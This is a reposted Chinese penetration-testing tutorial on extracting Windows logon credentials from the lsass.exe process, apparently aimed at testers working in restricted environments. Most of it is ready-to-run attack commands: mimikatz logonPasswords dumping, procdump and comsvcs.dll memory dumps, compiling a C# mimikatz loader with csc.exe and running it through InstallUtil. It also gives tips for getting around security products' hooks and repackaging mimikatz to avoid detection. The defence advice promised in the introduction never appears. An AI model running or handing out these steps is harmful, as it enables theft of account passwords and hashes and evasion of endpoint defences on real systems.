缘北资源快报-相亲交友-缘分相亲网
当前位置:首页 > 网络技术 > 网络安全

网络安全

渗透基础——从lsass.exe进程导出凭据

时间:2022-05-13   作者:Admin缘北工作室   来源:缘北资源快报kuaibao.52ybkj.com   阅读:587   评论:0
内容摘要:本文将要结合自己的经验,介绍不同环境下从lsass.exe进程导出凭据的方法,结合利用思路,给出防御建议。0x01简介本文将要介绍以下内容:·从lsass.exe进程导出凭据的常用方法。·限制上传文件长度时导出凭据的方法。·限制下载文件长度时导出凭据的方法。0x02从lsass.exe进程导出凭据的常用方法1.使用mi...
本文将要结合自己的经验,介绍不同环境下从lsass.exe进程导出凭据的方法,结合利用思路,给出防御建议。
0x01 简介
本文将要介绍以下内容:
· 从lsass.exe进程导出凭据的常用方法。
· 限制上传文件长度时导出凭据的方法。
· 限制下载文件长度时导出凭据的方法。
0x02 从lsass.exe进程导出凭据的常用方法
1.使用mimikatz直接导出凭据
直接从lsass.exe进程的内存中导出凭据,命令如下:
mimikatz.exe log "privilege::debug" "sekurlsa::logonPasswords full" exit
通常这种方式会被安全产品拦截。
2.通过lsass.exe进程的dmp文件导出凭据
(1)获得lsass.exe进程的dmp文件
procdump
命令如下:
procdump64.exe -accepteula -ma lsass.exe lsass.dmp
c++实现
https://github.com/killswitch-GUI/minidump-lib
powershell实现
https://github.com/PowerShellMafia/PowerSploit/blob/master/Exfiltration/Out-Minidump.ps1
c#实现
https://github.com/GhostPack/SharpDump
使用comsvcs.dll
示例参数如下:
rundll32 C:\windows\system32\comsvcs.dll, MiniDump 808 C:\test\lsass.dmp full
注:使用comsvcs.dll的方法可参考之前的分析文章《MiniDumpWriteDump via COM+ Services DLL》的利用测试
以上方法在原理上都是通过API MiniDumpWriteDump()获得进程的dmp文件。
而某些安全产品已经开始拦截这种行为,拦截的方法如下:
通过用户模式下的API hook,使用跳转(JMP)命令将NtReadVirtualMemory()的前5个字节修改为指向另一个内存地址。
绕过思路:
使用正确的命令覆盖被修改的前5个字节或是重写一个NtReadVirtualMemory()
参考资料:
https://medium.com/@fsx30/bypass-edrs-memory-protection-introduction-to-hooking-2efb21acffd6
开源工具:
https://github.com/outflanknl/Dumpert
如果这种方法仍然失败,可以尝试使用RPC控制lsass加载SSP的方式向lsass.exe进程注入dll,由dll来实现dump的功能。
使用RPC控制lsass加载SSP可参考XPN开源的代码:
https://gist.github.com/xpn/c7f6d15bf15750eae3ec349e7ec2380e
对此的分析文章《Mimikatz中SSP的使用》
由dll来实现dump的功能可参考以下代码:
https://github.com/outflanknl/Dumpert/blob/master/Dumpert-DLL/Outflank-Dumpert-DLL/Dumpert.c
(2)从dmp文件导出凭据
成功获得了lsass.exe进程的dmp文件后,可以借助mimikatz导出凭据,命令如下:
mimikatz.exe log "sekurlsa::minidump lsass.dmp" "sekurlsa::logonPasswords full" exit
0x03 限制上传文件长度时导出凭据的方法
如果实际的测试环境对上传文件的长度做了限制,这里给出我的解决方法:上传.cs文件,借助测试环境默认安装的.Net环境,使用csc.exe进行编译
为了应对不同的测试环境,使用的代码应该支持.Net 3.5以及更高版本。
1.使用c#实现的mimikatz直接导出凭据
Casey Smith已经实现了在c#文件中加载mimikatz,目前可供参考的代码地址:
https://github.com/re4lity/subTee-gits-backups/blob/master/PELoader.cs
需要注意的是这个代码封装的mimikatz版本为mimikatz 2.0 alpha (x64) release "Kiwi en C" (Aug 17 2015 00:14:48)。
这个版本在执行命令sekurlsa::logonpasswords时导出的结果不全,默认无法导出hash。
于是我在此基础上将mimikatz替换到新版本:mimikatz 2.1.1 (x64) built on Sep 25 2018 15:08:14
替换的方法是先将新版的mimikatz.exe进行Gzip压缩,再转换成base64编码,最后修改字符串KatzCompressed中的内容。
生成新字符串KatzCompressed内容的c#代码已上传至github,地址如下:
https://github.com/3gstudent/Homework-of-C-Sharp/blob/master/GzipandBase64.cs
可以通过csc.exe对其进行编译,支持.Net 3.5以及更高版本。
代码执行后将生成的文件base64.txt中的内容替换字符串KatzCompressed。
替换字符串后,实现升级mimikatz版本的PELoader.cs我也上传到了github,地址如下:
https://github.com/3gstudent/Homework-of-C-Sharp/blob/master/PELoaderofMimikatz.cs
可以通过csc.exe对其进行编译,支持.Net 3.5以及更高版本。
编译命令:
C:\Windows\Microsoft.NET\Framework64\v3.5\csc.exe PELoaderofMimikatz.cs /unsafe
or
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe PELoaderofMimikatz.cs /unsafe
导出凭据的命令:
PELoaderofMimikatz.exe log "privilege::debug" "sekurlsa::logonPasswords full" exit
注:需要经过简单的修改,在程序中提前传入要执行的命令,可以使用InstallUtil.exe导出凭据,命令如下:
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe /logfile= /LogToConsole=false /U PELoaderofMimikatzAuto.exe
通过这种方法,可以将.cs文件上传至目标测试环境,然后使用目标测试环境自带的.Net进行编译。
2.使用c#实现的代码获得lsass.exe进程的dmp文件
类似的开源代码有很多,我在SafetyKatz的基础上做了简单的修改。
修改后的代码已上传至github,地址如下:
https://github.com/3gstudent/Homework-of-C-Sharp/blob/master/DumpLsass.cs
可以通过csc.exe对其进行编译,支持.Net 3.5以及更高版本。
代码执行后在当前路径生成lsass.exe进程的dmp文件。
获得了dmp文件后可以将其下载到本地再使用mimikatz导出凭据。
0x04 限制下载文件长度时导出凭据的方法
如果实际的测试环境对下载文件的长度做了限制(有时lsass.exe进程的dmp文件压缩后也有上百MB)。
这里最简单的解决方法是对mimikatz做二次封装(删除不必要的功能,避免被查杀),在目标测试环境上从lsass.exe进程的dmp文件中导出凭据。
这里可以参考SafetyKatz,地址如下:
https://github.com/GhostPack/SafetyKatz

 #免责声明#

【声明】:缘北网(https://kuaibao.52ybkj.com)登载此文出于传递更多信息之目的,并不代表本站赞同其观点和对其真实性负责,仅适于网络安全技术爱好者学习研究使用,学习中请遵循国家相关法律法规。如有问题请联系我们,联系邮箱1665545192@qq.com,我们会在最短的时间内进行处理。

本站软件,文章全部来源,互联网的搬运收集,

若有问题请联系删除附上链接    发往手机短信  手机号码:15062997403  邮箱:1665545192@qq.com  微信:sinian990202  QQ;97576821 

温馨提示本站软件源码收集发布提供参考学习不得用于商业,否则后果自负!由自己承当法律责任与本站无关!

企业客服QQ:97576821

 缘北科技 


标签:基础  进程  渗透  凭据  导出  

相关文章

相关评论

本栏最新更新

本栏推荐

阅读排行